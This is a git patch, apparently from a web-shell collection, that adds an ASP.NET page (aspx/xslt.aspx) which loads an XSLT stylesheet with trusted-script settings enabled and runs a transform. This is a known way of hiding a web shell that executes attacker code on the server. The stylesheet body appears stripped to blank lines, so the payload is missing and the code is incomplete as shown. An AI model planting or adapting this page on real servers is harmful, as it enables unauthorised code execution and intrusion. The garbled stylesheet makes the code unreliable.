From 69d5a36bbf0ceed7a69da40c596a84a87e69205f Mon Sep 17 00:00:00 2001 From: tennc Date: Sat, 16 May 2015 11:34:06 +0800 Subject: [PATCH] Create xslt.aspx from : http://drops.wooyun.org/tips/5799 --- aspx/xslt.aspx | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 aspx/xslt.aspx diff --git a/aspx/xslt.aspx b/aspx/xslt.aspx new file mode 100644 index 0000000..246a8d8 --- /dev/null +++ b/aspx/xslt.aspx @@ -0,0 +1,28 @@ +<%@page language="C#"%> +<%@ import Namespace="System.IO"%> +<%@ import Namespace="System.Xml"%> +<%@ import Namespace="System.Xml.Xsl"%> +<% +string xml=@"test"; +string xslt=@" + + + + + + + + + + + +"; +XmlDocument xmldoc=new XmlDocument(); +xmldoc.LoadXml(xml); +XmlDocument xsldoc=new XmlDocument(); +xsldoc.LoadXml(xslt); +XslCompiledTransform xct=new XslCompiledTransform(); +xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver()); +xct.Transform(xmldoc,null,new MemoryStream()); + +%>